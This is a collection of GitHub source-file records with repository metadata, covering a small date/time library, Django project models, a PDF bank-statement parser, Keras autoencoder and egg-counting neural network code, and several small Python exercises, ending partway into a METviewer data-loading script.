{"seq_id":"821917039","text":"import time\n\ntry:\n    from typing import Tuple\nexcept ImportError:\n    pass\n\ntry:\n    ticks_diff = time.ticks_diff\n    ticks_ms = time.ticks_ms\nexcept AttributeError:\n    def ticks_ms():\n        return time.time_ns() / 1000000\n\n    def ticks_diff(t1, t2):\n        # TODO: Probably need to handle wrap around here.\n        return t1 - t2\n\n\ndef _is_leap_year(year: int) -> bool:\n    if year % 100 == 0:\n        return year % 400 == 0\n    return year % 4 == 0\n\n\ndef _days_in_month(year: int, month: int) -> int:\n    if month in (4, 6, 9, 11):\n        return 30\n    if month == 2:\n        return 29 if _is_leap_year(year) else 28\n    return 31\n\n\nclass Date:\n    \"\"\"Represents a specific date.\"\"\"\n    def __init__(self, year: int, month: int, day: int):\n        assert year >= 1970, \"Dates before 1970 are not supported.\"\n        assert month >= 1 and month <= 12, f\"Month {month} out of range.\"\n        assert day >= 1 and day <= _days_in_month(year, month), \\\n            f\"Day {day} out of range for {year} {month}.\"\n        self.__days_since_1970 = (year - 1970) * 365\n        for i in range(1970, year):\n            if _is_leap_year(i):\n                self.__days_since_1970 += 1\n        for m in range(1, month):\n            self.__days_since_1970 += _days_in_month(year, m)\n        self.__days_since_1970 += day\n\n    def __year_month_day(self) -> Tuple[int, int, int]:\n        y, m, d = 1970, 1, self.__days_since_1970\n        while d > (366 if _is_leap_year(y) else 365):\n            d -= (366 if _is_leap_year(y) else 365)\n            y += 1\n        while d > _days_in_month(y, m):\n            d -= _days_in_month(y, m)\n            m += 1\n        return y, m, d\n\n    def weekday(self) -> int:\n        \"\"\"Returns the day of the week. 0 is Monday, 6 is Sunday.\"\"\"\n        return ((self.__days_since_1970 % 7) + 2) % 7\n\n    def __iadd__(self, days: int) -> \"Date\":\n        self.__days_since_1970 += days\n        return self\n\n    def __isub__(self, days: int) -> \"Date\":\n        self.__days_since_1970 -= days\n        return self\n\n    @property\n    def year(self) -> int:\n        return self.__year_month_day()[0]\n\n    @property\n    def month(self) -> int:\n        return self.__year_month_day()[1]\n\n    @property\n    def day(self) -> int:\n        return self.__year_month_day()[2]\n\n    def __eq__(self, other: object) -> bool:\n        if not isinstance(other, Date):\n            return False\n        return self.__days_since_1970 == other.__days_since_1970\n\n\nclass DateTime:\n    \"\"\"Represents a specific date and a time.\"\"\"\n    BASE: int = 0\n\n    def __init__(self,\n                 year: int,\n                 month: int,\n                 day: int,\n                 weekday: int = 0,\n                 hour: int = 0,\n                 minute: int = 0,\n                 second: int = 0,\n                 microsecond: int = 0) -> None:\n        self.__date = Date(year, month, day)\n        self.hour = hour\n        self.minute = minute\n        self.second = second\n\n    def weekday(self) -> int:\n        \"\"\"Returns the day of the week. 0 is Monday, 6 is Sunday.\"\"\"\n        return self.__date.weekday()\n\n    @property\n    def year(self) -> int:\n        return self.__date.year\n\n    @property\n    def month(self) -> int:\n        return self.__date.month\n\n    @property\n    def day(self) -> int:\n        return self.__date.day\n\n    def __add__(self, other: \"TimeDelta\") -> \"DateTime\":\n        dt = DateTime(self.year,\n                      self.month,\n                      self.day,\n                      hour=self.hour,\n                      minute=self.minute,\n                      second=self.second)\n        dt.second += other.seconds\n        while dt.second > 60:\n            dt.minute += 1\n            dt.second -= 60\n        while dt.minute > 60:\n            dt.hour += 1\n            dt.minute -= 60\n        dt.hour += other.hours\n        while dt.hour > 24:\n            dt.__date += 1\n            dt.hour -= 24\n        dt.__date += other.days\n        return dt\n\n    def __iadd__(self, other: \"TimeDelta\") -> \"DateTime\":\n        self.second += other.seconds\n        while self.second > 60:\n            self.minute += 1\n            self.second -= 60\n        while self.minute > 60:\n            self.hour += 1\n            self.minute -= 60\n        self.hour += other.hours\n        while self.hour > 24:\n            self.__date += 1\n            self.hour -= 24\n        self.__date += other.days\n        return self\n\n    def __sub__(self, other: \"TimeDelta\") -> \"DateTime\":\n        dt = DateTime(self.year,\n                      self.month,\n                      self.day,\n                      hour=self.hour,\n                      minute=self.minute,\n                      second=self.second)\n        dt.second -= other.seconds\n        while dt.second < 0:\n            dt.minute -= 1\n            dt.second += 60\n        while dt.minute < 0:\n            dt.hour -= 1\n            dt.minute += 60\n        dt.hour -= other.hours\n        while dt.hour < 0:\n            dt.__date -= 1\n            dt.hour += 24\n        dt.__date -= other.days\n        return dt\n\n    def __isub__(self, other: \"TimeDelta\") -> \"DateTime\":\n        self.second -= other.seconds\n        while self.second < 0:\n            self.minute -= 1\n            self.second += 60\n        while self.minute < 0:\n            self.hour -= 1\n            self.minute += 60\n        self.hour -= other.hours\n        while self.hour < 24:\n            self.__date -= 1\n            self.hour += 24\n        self.__date -= other.days\n        return self\n\n    def __eq__(self, other: object) -> bool:\n        if not isinstance(other, DateTime):\n            return False\n        return self.__date == other.__date \\\n            and self.hour == other.hour \\\n            and self.minute == other.minute \\\n            and self.second == other.second\n\n    def __str__(self):\n        return f\"{self.year}-{self.month:02n}-{self.day:02n} \" \\\n             + f\"{self.hour:02n}:{self.minute:02n}:{self.second:02n}\"\n\n    def __repr__(self):\n        return f\"{self.year}-{self.month:02n}-{self.day:02n} \" \\\n             + f\"{self.hour:02n}:{self.minute:02n}:{self.second:02n}\"\n\n\nclass TimeDelta:\n    \"\"\"Represents a difference between two times.\"\"\"\n    def __init__(self,\n                 days: int = 0,\n                 hours: int = 0,\n                 seconds: int = 0) -> None:\n        self.days = days\n        self.hours = hours\n        self.seconds = seconds\n","repo_name":"andrewjw/i75","sub_path":"i75/datetime.py","file_name":"datetime.py","file_ext":"py","file_size_in_byte":6403,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"}
{"seq_id":"32659046037","text":"from django.db import models\nfrom imagekit.models import ProcessedImageField, ImageSpecField\nfrom imagekit.processors import ResizeToFit, ResizeToFill\nfrom django.conf import settings\nfrom django.template.defaultfilters import slugify\nimport datetime\n\n\n# Create your models here.\nclass ProjectImage(models.Model):\n    name = models.CharField(max_length=500, blank=True, null=True)\n    image = ProcessedImageField(upload_to='projectimages/', processors=[\n                                ResizeToFit(2000, 2000, False)], format='JPEG',\n                                options={'quality': 85})\n    thumbnail = ImageSpecField(source='image', processors=[\n        ResizeToFill(700, 700, False)], format='JPEG',\n        options={'quality': 100})\n    project = models.ForeignKey(\n        'Project', on_delete=models.CASCADE, blank=True, null=True)\n    creation_date = models.DateTimeField(auto_now_add=True, auto_now=False)\n\n    def __str__(self):\n        if not self.project:\n            return str(self.pk)\n        else:\n            return \"Bilde til prosjekt nummer: %d\" % self.project.pk\n\n    class Meta:\n        verbose_name = \"Prosjektbilde\"\n        verbose_name_plural = \"Prosjektbilder\"\n        ordering = ('creation_date',)\n\n\nclass Project(models.Model):\n\n    YEAR_CHOICES = [\n        ('1. klasse', '1. klasse'),\n        ('2. klasse', '2. klasse'),\n        ('3. klasse', '3. klasse'),\n        ('4. klasse', '4. klasse'),\n        ('5. klasse', '5. klasse'),\n    ]\n\n    description = models.TextField(blank=True, null=True)\n\n    creator = models.CharField(max_length=300, blank=True, null=True)\n    class_year = models.CharField(\n        'Klasse', choices=YEAR_CHOICES, max_length=10, blank=True, null=True)\n    course = models.CharField(max_length=150, blank=True, null=True)\n\n    creation_date = models.DateTimeField(auto_now_add=True, auto_now=False)\n    updated = models.DateTimeField(auto_now_add=False, auto_now=True)\n\n    def __str__(self):\n        if self.creator and self.course:\n            return \"%s\" % (self.creator)\n        else:\n            return str(self.pk)\n\n    class Meta:\n        verbose_name = \"Prosjekt\"\n        verbose_name_plural = \"Prosjekter\"\n        ordering = ('-creation_date',)\n","repo_name":"anitastuberg/industrielldesign.no","sub_path":"projects/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2209,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"38"}
{"seq_id":"43380501030","text":"import pathlib\nimport argparse\nfrom . import parser\n\n\narg_parser = argparse.ArgumentParser()\narg_parser.add_argument('path', type=pathlib.Path)\n\n\n\npath = arg_parser.parse_args().path\nwith path.open() as f:\n    code = f.read()\n    p = parser.Parser(code)\n    doc = p.document()\n    print(doc.render())\n","repo_name":"Roysav/markdown-html-transpiler","sub_path":"md_html/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":301,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"22940603281","text":"__author__ = 'dileep'\n# Naive string matching\ndef naive_str(text, pattern) -> list:\n\t\"\"\"Naive string matching\n\t:param text: Str\n\t:param pattern: Str\n\treturns indices of matches\"\"\"\n\tpat_len = len(pattern)\n\tindices = []\n\tfor ind, val1 in enumerate(text):\n\t\tif text[ind:ind + pat_len] == pattern:\n\t\t\tindices += [ind]\n\tif not indices:\n\t\treturn ['Pattern not present in text']\n\treturn indices\n\n\nif __name__ == '__main__':\n\tprint(naive_str('ATCGCTAGCTAGTAGCT', \"TAG\"))\n","repo_name":"dileep-kishore/datastructures-and-algorithms","sub_path":"data structures and algorithms/naive_str.py","file_name":"naive_str.py","file_ext":"py","file_size_in_byte":463,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"38213944527","text":"from collections import deque\n\norders = deque([int(s) for s in input().split(', ')])\nemployees = [int(s) for s in input().split(', ')]\ntotal_pizza = 0\nwhile orders and employees:\n    order = orders.popleft()\n    employee = employees.pop()\n    if order > 10 or order < 1:\n        employees.append(employee)\n        continue\n    if order <= employee:\n        total_pizza += order\n    else:\n        left_pizza = order - employee\n        total_pizza += employee\n        orders.appendleft(left_pizza)\nif orders:\n    print(f'Not all orders are completed.')\n    print(f'Orders left: {\", \".join(map(str,orders))}')\nelse:\n    print(f'All orders are successfully completed!')\n    print(f\"Total pizzas made: {total_pizza}\")\n    print(f\"Employees: {', '.join(map(str,employees))}\")\n\n\n\n\n","repo_name":"soxa2022/SoftUni_Python_Courses","sub_path":"Python_Advanced/pyhton_advanced_exams/deques/pizza_orders.py","file_name":"pizza_orders.py","file_ext":"py","file_size_in_byte":774,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"38"}
{"seq_id":"21756317487","text":"#비지도 학습\n#단순히 입력을 출력으로 복사하는 방법을 배우나, 네트워크에 제약을 가해 학습시킨다 \nimport sklearn\nimport tensorflow as tf\nfrom tensorflow import keras\nimport numpy as np\nimport os\n\n\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\nmpl.rc('axes', labelsize=14)\nmpl.rc('xtick', labelsize=12)\nmpl.rc('ytick', labelsize=12)\n\ndef plot_image(image):\n  plt.imshow(image, cmap=\"binary\")\n  plt.axis(\"off\")\n\n\n#3D->2D, 주성분 분석. PCA. \ndef generate_3d_data(m, w1=0.1, w2=0.3, noise=0.1):\n    angles = np.random.rand(m) * 3 * np.pi / 2 - 0.5\n    data = np.empty((m, 3))\n    data[:, 0] = np.cos(angles) + np.sin(angles)/2 + noise * np.random.randn(m) / 2\n    data[:, 1] = np.sin(angles) * 0.7 + noise * np.random.randn(m) / 2\n    data[:, 2] = data[:, 0] * w1 + data[:, 1] * w2 + noise * np.random.randn(m)\n    return data\n\nX_train = generate_3d_data(60)\nX_train = X_train - X_train.mean(axis=0, keepdims=0)\n\n\nnp.random.seed(42)\ntf.random.set_seed(42)\n#케라스 모델은 다른 모델의 층으로 사용할 수 있다. 오토인코더의 출력 개수가 입력의 개수와 동일하다. *3개\nencoder = keras.models.Sequential([keras.layers.Dense(2, input_shape=[3])]) #인코더라고 말했지만 평범한 덴스층이네.\ndecoder = keras.models.Sequential([keras.layers.Dense(3, input_shape=[2])])\nautoencoder = keras.models.Sequential([encoder, decoder])\n\nautoencoder.compile(loss=\"mse\", optimizer=keras.optimizers.SGD(lr=1.5))\n\nhistory= autoencoder.fit(X_train,X_train, epochs=20)\n\n#훈련의 부산물 코딩(그 코딩 아님)\ncodings = encoder.predict(X_train)\n\nfig = plt.figure(figsize=(4,3))\nplt.plot(codings[:,0], codings[:, 1], \"b.\")\nplt.xlabel(\"$z_1$\", fontsize=18)\nplt.ylabel(\"$z_2$\", fontsize=18, rotation=0)\nplt.grid(True)\nplt.show()\n\n","repo_name":"Barleysack/Tensor101","sub_path":"Handsonml2_py/AutoEncoder.py","file_name":"AutoEncoder.py","file_ext":"py","file_size_in_byte":1811,"program_lang":"python","lang":"ko","doc_type":"code","stars":2,"dataset":"github-code","pt":"38"}
{"seq_id":"36205041858","text":"## Program: Find the largest among three;\ntry:\n    num = 0\n    myList = []\n    for x in range(0, 3):\n        temp = int(input(\"Enter number: \"))\n        myList.append(temp)\n    print(max(myList))\n\nexcept ValueError:\n    print(\"Something went wrong ...\")\n","repo_name":"neerajsinghjr/dsa","sub_path":"basic-py/02.intermediate/P002_Largest_Among_Three.py","file_name":"P002_Largest_Among_Three.py","file_ext":"py","file_size_in_byte":254,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"6204528865","text":"from datetime import datetime\nimport re\n\nfrom .pdfReader import PDFReader\n\n\nclass PDFParserSantander:\n    def __init__(self, file):\n        self.file = file\n        self.cards = []\n        self.results = []\n\n        self._text = None\n        self._type = None\n\n    @staticmethod\n    def __replace_separator(value_str_brl):\n        return value_str_brl.replace(',', '.')\n\n    def run(self):\n        self.results.clear()\n\n        reader = PDFReader()\n        self._text = reader.run(self.file)\n\n        pdf_type = self._get_type()\n\n        if pdf_type == 'internet':\n            self._run_internet_banking()\n        elif pdf_type in ['standard', 'unique']:\n            self._run()\n        elif pdf_type == 'unknown':\n            raise ValueError(f'Parser does not know how to handle this file: {self.file}')\n        else:\n            raise ValueError(f'Unexpected value for type: {pdf_type}')\n\n        return self.results\n\n    def _get_type(self):\n        if self._type is None:\n            if self._text is None:\n                raise ValueError(\n                    'Run parser before calling this method or check if text is being improperly assigned'\n                )\n            if self._text.startswith('Internet Banking'):\n                self._type = 'internet'\n            elif any(\n                    card_type in self._text for card_type in [\n                        'SANTANDER NACIONAL',\n                        'SANTANDER STYLE PLATINUM',\n                        'SANTANDER FREE',\n                    ]\n            ):\n                self._type = 'standard'\n            elif self._text.find('SANTANDER UNIQUE') != -1:\n                self._type = 'unique'\n            else:\n                self._type = 'unknown'\n        return self._type\n\n    def _run_internet_banking(self):\n        cash_flows_delimiter = 'Resumo das despesas'\n        if cash_flows_delimiter in self._text:\n            tables_and_footers, _ = self._text.split(cash_flows_delimiter)\n            cash_date = self.__find_cash_date()\n        else:\n            tables_and_footers = self._text\n            cash_date = None\n\n        header_delimiter = 'Data\\nDescrição\\nValor (US$)\\nValor (R$)'\n        tables_and_footers_list = tables_and_footers.split(header_delimiter)\n\n        footer_delimiter = ' Central de Atendimento Santander'\n        table_list = [t.split(footer_delimiter)[0].strip() for t in tables_and_footers_list]\n        tables = '\\n'.join(table_list)\n\n        cards_raw = tables.split('NªCartao')[1:]\n        for raw in cards_raw:\n            card = {}\n            tokens = raw.strip().split('\\n')\n            card['last_digits'] = tokens[0].strip('Final:')\n            card['owner'] = tokens[1].strip('Titular:')\n            card['cash_flows'] = []\n            for i in range(2, len(tokens), 4):\n                cash_flow = {\n                    'date': datetime.strptime(tokens[i], '%d/%m/%Y'),\n                    'description': tokens[i + 1],\n                    'value_usd': self.__replace_separator(tokens[i + 2].strip('US$ ')),\n                    'value_brl': self.__replace_separator(tokens[i + 3].strip('R$ ')),\n                }\n\n                # TODO: process expenses when currency is usd\n                self.results.append([\n                    cash_flow['date'],\n                    cash_flow['description'],\n                    cash_flow['value_brl'],\n                    card['last_digits'],\n                    cash_date,\n                ])\n\n                card['cash_flows'].append(cash_flow)\n\n            self.cards.append(card)\n\n    def _run(self):\n        cash_date = self.__find_cash_date()\n        origin = self.__find_card_number()\n\n        pages = self._text.split('Nº DO CARTÃO ')\n\n        if self._type == 'unique':\n            expense_pages = pages[2:]\n        elif self._type == 'standard':\n            expense_pages = pages[3:]\n        else:\n            raise ValueError(f'Could not run type={self._type}')\n\n        expense_pages[0] = expense_pages[0].split('IOF e CET')[0]\n\n        expense_history = ''.join(expense_pages)\n        tokens = expense_history.split()\n        start = False\n        card_tokens = []\n        for token in tokens:\n            if token in ['Histórico', 'TransaçõesNacionais', 'TransaçõesInternacionais']:\n                start = True\n            elif token in ['DataDescrição', '(+)Despesas/DébitosnoBrasil']:\n                start = False\n            elif start is True:\n                card_tokens.append(token)\n\n        for i in range(len(card_tokens)):\n            token = card_tokens[i]\n            if re.match(r\"\\d{2}/\\d{2}\", token[:5]):\n                date_str = f\"{token[:5]}/{cash_date.year}\"\n                date = datetime.strptime(date_str, '%d/%m/%Y')\n\n                description = token[5:]\n\n                next_token = card_tokens[i + 1]\n                if next_token.startswith('PARC'):\n                    description = f\"{description} {next_token}\"\n                    next_token = card_tokens[i + 2]\n\n                value = self.__replace_separator(next_token)\n\n                self.results.append([date, description, value, origin, cash_date])\n\n    def __find_card_number(self):\n        pos = self._text.find('Nº DO CARTÃO ')\n        # format: Nº DO CARTÃO 1234 XXXX XXXX 4321\n        return self._text[pos + 13:pos + 32]\n\n    def __find_cash_date(self):\n        if self._type == 'internet':\n            delimiter = 'Data de vencimento:\\n'\n            pos = self._text.find(delimiter) + len(delimiter)\n        elif self._type in ['unique', 'standard']:\n            delimiter = '!Vencimento\\n'\n            pos = self._text.find(delimiter) + len(delimiter)\n        else:\n            raise ValueError('Could not find cash date.')\n\n        # format dd/mm/YYYY (len=10)\n        date_str = self._text[pos:pos + 10]\n        return datetime.strptime(date_str, '%d/%m/%Y')\n","repo_name":"rmusmanno/ofx2xlsmbr","sub_path":"ofx2xlsmbr/reader/pdf/PDFParserSantander.py","file_name":"PDFParserSantander.py","file_ext":"py","file_size_in_byte":5857,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"17009452023","text":"from DFLSheet import DFLSheet,DFLSheetDataSet\nfrom HDF5 import *\n\nimport matplotlib.pyplot as plt\nfrom PIL import Image\nimport copy\nimport os\nimport random\nimport shutil\nimport numpy as np\nimport pandas as pd\nfrom keras import optimizers\nfrom keras import backend as K\nfrom keras.datasets import *\nfrom keras.layers import * \nfrom keras.layers.advanced_activations import LeakyReLU\nfrom keras.layers.convolutional import UpSampling2D, Conv2D\nfrom keras.models import *\nfrom keras.optimizers import Adam\nfrom keras.utils import np_utils\nfrom keras.callbacks import ModelCheckpoint\n\nfrom skimage import io\nfrom skimage.draw import circle\nfrom skimage.transform import rescale, resize  \nfrom sklearn.metrics import *\nfrom sklearn import preprocessing\n\nratio_desired = 1\nclass CountNN():\n    def __init__(self,nn_option):\n        random.seed(9001)\n        self.img_rows = nn_option['window_size']\n        self.img_cols = nn_option['window_size']\n        self.img_channels = nn_option['channels']\n        self.n_classes = nn_option['nclass']\n        self.nuerons = nn_option['n_hidden']\n        self.input_dim = int(self.img_rows*self.img_cols*self.img_channels)\n        self.initNN = copy.copy(self.build_count_nn())\n        \n        #self.initNN.summary()\n        self.classNN = copy.copy(self.initNN)\n        self.countNN = copy.copy(self.initNN)\n        self.dataname = nn_option['dataname']\n        \n    def build_count_nn(self):\n        model = Sequential()\n        model.add(Dense(self.nuerons,input_shape=(self.input_dim,),use_bias=False))\n        model.add(Activation('sigmoid'))\n        model.add(Dense(self.n_classes, activation='sigmoid',use_bias=False))\n        return copy.copy(model)\n    \n    \n    \n    def initCountNN(self,X_train, Y_train, X_test, Y_test,epochs,batch_size):\n        yY_train = copy.copy(Y_train)\n        yY_train[:,0] = yY_train[:,0]*ratio_desired\n        yY_test = copy.copy(Y_test)\n        yY_test[:,0] = yY_test[:,0]*ratio_desired\n        sgd = optimizers.SGD(lr=0.01, decay=1e-13, momentum=0.9, nesterov=True)\n        self.initNN.compile(loss='mean_squared_error', optimizer='Adam', metrics=['accuracy'])\n        self.initNN.fit(X_train, yY_train,validation_data=(X_test, yY_test),epochs=epochs, \n                                    batch_size= batch_size,verbose = 0)\n        self.countNN.set_weights(self.initNN.get_weights().copy())\n        self.classNN.set_weights(self.countNN.get_weights().copy())\n       \n    \n    def trainCountNN(self,X_train, y_train, X_test, y_test,epochs,batch_size):\n        yY_train = copy.copy(y_train)\n        yY_train[:,0] = yY_train[:,0]*ratio_desired\n        yY_test = copy.copy(y_test)\n        yY_test[:,0] = yY_test[:,0]*ratio_desired\n        \n        history_init_loss = pd.DataFrame()\n        history_class_loss = pd.DataFrame()\n        history_count_loss = pd.DataFrame()\n        \n        if os.path.exists(os.path.dirname(self.dataname+'/initnn/')):\n            shutil.rmtree(os.path.dirname(self.dataname+'/initnn/'))\n        os.makedirs(os.path.dirname(self.dataname+'/initnn/'))\n            \n        if os.path.exists(os.path.dirname(self.dataname+'/classnn/')):\n            shutil.rmtree(os.path.dirname(self.dataname+'/classnn/'))\n        os.makedirs(os.path.dirname(self.dataname+'/classnn/'))\n            \n        if os.path.exists(os.path.dirname(self.dataname+'/countnn/')):\n            shutil.rmtree(os.path.dirname(self.dataname+'/countnn/'))\n        os.makedirs(os.path.dirname(self.dataname+'/countnn/'))\n        \n        cp_init = ModelCheckpoint(self.dataname+'/initnn/{val_acc:.4f}.hdf5', monitor='val_acc', verbose=1, save_best_only=True, mode='auto')\n        cp_class = ModelCheckpoint(self.dataname+'/classnn/best_mdlf.hdf5', monitor='val_acc', verbose=1, save_best_only=True, mode='auto')\n        cp_count = ModelCheckpoint(self.dataname+'/countnn/best_mdlf.hdf5', monitor='val_acc', verbose=1, save_best_only=True, mode='auto')\n        \n        sgd1 = optimizers.SGD(lr=0.0001, decay=1e-13, momentum=0.9, nesterov=True)\n        sgd2 = optimizers.SGD(lr=1e-11, decay=1e-13, momentum=0.9, nesterov=True)\n        self.initNN.compile(loss='mean_squared_error', optimizer= sgd1, metrics=['accuracy'])\n        self.classNN.compile(loss='mean_squared_error', optimizer= sgd1, metrics=['accuracy'])\n        self.countNN.compile(loss = counting_loss, optimizer=sgd2, metrics=['accuracy',counting_rate])\n            \n        for epoch in range(epochs):\n            print( '========== Train InitNN ==========')\n            init_loss = self.initNN.fit(X_train, yY_train,validation_data=(X_test, yY_test),epochs=epochs, batch_size = batch_size,verbose = 0)\n            history_init_loss = pd.concat([history_init_loss,pd.DataFrame(init_loss.history)],ignore_index=True)\n            print(init_loss.history.keys())\n            \n            print( '========== Train ClassNN ==========')\n            self.classNN.set_weights(self.initNN.get_weights()) \n            class_loss = self.classNN.fit(X_train, yY_train,validation_data=(X_test, yY_test) , epochs=epochs, batch_size= batch_size, callbacks=[cp_class],verbose = 0)\n            history_class_loss = pd.concat([history_class_loss,pd.DataFrame(class_loss.history)],ignore_index=True)\n            \n            print('========== Train CountNN ===========')\n            self.countNN.set_weights(self.initNN.get_weights())   \n            count_loss = self.countNN.fit(X_train, yY_train,validation_data=(X_test, yY_test) , epochs=epochs, batch_size=X_train.shape[0], callbacks=[cp_count],verbose = 0)\n            history_count_loss = pd.concat([history_count_loss,pd.DataFrame(count_loss.history)],ignore_index=True)\n            \n            # Plot the progress\n            #print (\"%d [ClassNN loss: %f, acc.: %.2f%%] [CountNN loss: %f, acc.: %.2f%%]\" % (epoch, class_loss.history['loss'][len(class_loss.history['loss'])-1], class_loss.history['acc'][len(class_loss.history['acc'])-1],count_loss.history['loss'][len(count_loss.history['loss'])-1], count_loss.history['acc'][len(count_loss.history['acc'])-1]))\n        \n        return history_init_loss,history_class_loss,history_count_loss\n    \n    def predict(self,X,params):\n        Y = self.countNN.predict(X)\n        Y_pred = np.argmax(Y, axis=1)\n        Y_pred_code = copy.copy(np_utils.to_categorical(Y_pred,Y.shape[1]))\n        return Y_pred_code\n    \n    def predict_thr(self,X,thr):\n        Y = self.countNN.predict(X)\n        Y_pred = np.argmax(Y, axis=1)\n        #Y[Y[:,0]>0,0] = 0\n        Y_pred_code = copy.copy(np_utils.to_categorical(Y_pred,Y.shape[1]))\n        #Y[Y_pred==0,0] = 1   \n        Y = Y*Y_pred_code\n        for i in range(1,len(thr)):\n            Y[Y[:,i]<thr[i],i] = 0    \n        return Y\n        \n    def predict_class(self,rootpath,dflsheet_name,scaler,params):\n        dfl = DFLSheet(rootpath,dflsheet_name,params['period'],params['scale'],params['nclass'],params['hsv'])\n        print(dflsheet_name+' loading was finished')\n        dfl.crop_egg(params['window_size'])\n        #dfl.crop_egg_all(params['window_size'])\n        X = copy.copy(np.array(dfl.eggImg))\n        X = copy.copy(transform_img2vec(X, self.input_dim))\n        X = copy.copy(X_normalize(X))\n        #\n        #X = scaler.transform(X).copy()\n        Y = copy.copy(np_utils.to_categorical(dfl.eggLabel,params['nclass']))\n        acc_train,count_train = self.show_report(X,Y,dflsheet_name,params)\n    \n    def predict_dfl(self,dflsheet_name,scaler,params):\n        rootpath = params['path_dfl']\n        step_size = params['step_size']\n        thr = params['best_thr']\n        dfl = DFLSheet(rootpath,dflsheet_name,params['period'],params['scale'],params['nclass'],params['hsv'])\n        print(dflsheet_name+' loading in predict_dfl was finished')\n        dfl.crop_all(params['window_size'],step_size)\n        \n        X = copy.copy(np.array(dfl.allImg))\n        eggPoint = np.array(dfl.allPoint)\n        X = copy.copy(transform_img2vec(X, self.input_dim))\n        X = copy.copy(X_normalize(X))\n        #\n        #X = scaler.transform(X).copy()\n        Y = self.predict_thr(X,thr)\n\n        if True:\n            rgb = dfl.OrigImgLim\n            draw_roi_egg(Y,rgb,eggPoint,params,dflsheet_name,dfl.egg_num_lim)\n            \n        y_pred_eggnum = Y.sum(axis=0)\n        num_desired = pd.DataFrame(data = [dfl.egg_num_lim], columns = dfl.egg_type, index = [dflsheet_name])\n        num_predict = pd.DataFrame(data = [y_pred_eggnum.astype('float32')], columns = dfl.egg_type, index = [dflsheet_name])\n        return num_desired,num_predict \n    \n    def predict_dfl_NonMaximunSup(self,dflsheet_name,scaler,params):\n        rootpath = params['path_dfl']\n        step_size = params['step_size']\n        thr = params['best_thr']\n        dfl = DFLSheet(rootpath,dflsheet_name,params['period'],params['scale'],params['nclass'],params['hsv'])\n        print(dflsheet_name+' loading in predict_dfl was finished')\n        dfl.crop_all(params['window_size'],step_size)\n        \n        X = copy.copy(np.array(dfl.allImg))\n        eggPoint = np.array(dfl.allPoint)\n        X = copy.copy(transform_img2vec(X, self.input_dim))\n        X = copy.copy(X_normalize(X))\n        #X = scaler.transform(X).copy()\n        Y = self.predict_thr(X,thr)\n\n        if True:\n            rgb = dfl.OrigImgLim\n            y_pred_eggnum,count_score = draw_NMS_egg(Y,rgb,eggPoint,params,dflsheet_name,dfl.egg_num_lim)\n            \n        #y_pred_eggnum = Y.sum(axis=0)\n        num_desired = pd.DataFrame(data = [dfl.egg_num_lim], columns = dfl.egg_type, index = [dflsheet_name])\n        num_predict = pd.DataFrame(data = [y_pred_eggnum.astype('float32')], columns = dfl.egg_type, index = [dflsheet_name])\n        print(num_desired)\n        print(num_predict)\n        print(count_score)\n        return num_desired,num_predict,count_score \n    \n    def show_report(self,X,Y,name_data,params):\n        Y_pred = self.predict(X,params)\n        Y_pred_ = np.argmax(Y_pred, axis=1)\n        Y_ = np.argmax(Y, axis=1)\n        conf_matrix = confusion_matrix(Y_, Y_pred_) \n        acc_score =  accuracy_score(Y_, Y_pred_)*100 \n        count_score = cal_countRate(Y, Y_pred) \n        \n        classwise = cal_classwise( conf_matrix)\n        \n        if params['display']:\n            print('========CountNN  Report========')\n            print(name_data,\" %s Score: %.4f%%\" % ('classification rate', acc_score))     \n            print(name_data,\" %s Score: %.4f%%\" % ('counting rate', count_score ))    \n            print(name_data,\" class-wise: \", classwise )     \n            print(name_data,\" : Confusion Matrix: \\n\", conf_matrix) \n            print('Desired :',np.sum(Y,0))\n            print('Predict :',np.sum(Y_pred,0))\n        return acc_score,count_score\n\n    def select_stebsize(self,rootpath,dflsheet_name,step_size,scaler, nn_option):\n        nn_option['display'] = 0\n        dflsheet_data = DFLSheetDataSet(nn_option)\n        dflsheet_data.create_all_subimg_dfl(step_size,dflsheet_name)\n        dflsheet_data.egg_num.to_csv(nn_option['dataname'] +'/'+nn_option['period']+'EggNumber.csv')\n        for s in range(6,11):\n            step_result =  []\n            for i in range(len(dflsheet_name)):\n                 num_desired ,num_predict = myNN.predict_dfl(rootpath,dflsheetlist[i],step_size,scaler,nn_option)\n                 line_desire = pd.DataFrame([num_desired], columns = dfl.egg_type, index = [dflsheetlist[i]])\n                 line_predict = pd.DataFrame([num_predict], columns = dfl.egg_type, index = [dflsheetlist[i]])\n            \n        print(num_predict)\n        print(num_desired)\n","repo_name":"supachaya2535/KhaiMai","sub_path":"CountNN.py","file_name":"CountNN.py","file_ext":"py","file_size_in_byte":11537,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"34759459911","text":"'''\nProgram Name: load_to_METviewer_AWS.py\nContact(s): Mallory Row\nAbstract: This is run at the end of all step1 scripts\n          in scripts/.\n          This scripts loads data to the METviewer AWS\n          server.\n              1) Create a temporary directory and\n                 link the files that are to be\n                 loaded\n              2) Create XML that will load files\n              3) Create database on AWS server\n              4) Listing of METviewer datbases\n'''\n\nimport datetime\nimport os\nimport subprocess\n\nprint(\"BEGIN: \"+os.path.basename(__file__))\n\n# Read in environment variables\nKEEPDATA = os.environ['KEEPDATA']\nmachine = os.environ['machine']\nDATA = os.environ['DATA']\nNET = os.environ['NET']\nRUN = os.environ['RUN']\nRUN_abbrev = os.environ['RUN_abbrev']\nRUN_type_list = os.environ[RUN_abbrev+'_type_list'].split(' ')\nUSHverif_global = os.environ['USHverif_global']\nQUEUESERV = os.environ['QUEUESERV']\nACCOUNT = os.environ['ACCOUNT']\nPARTITION_BATCH = os.environ['PARTITION_BATCH']\nMET_version = os.environ['MET_version']\nmodel_list = os.environ['model_list'].split(' ')\nMETviewer_AWS_scripts_dir = 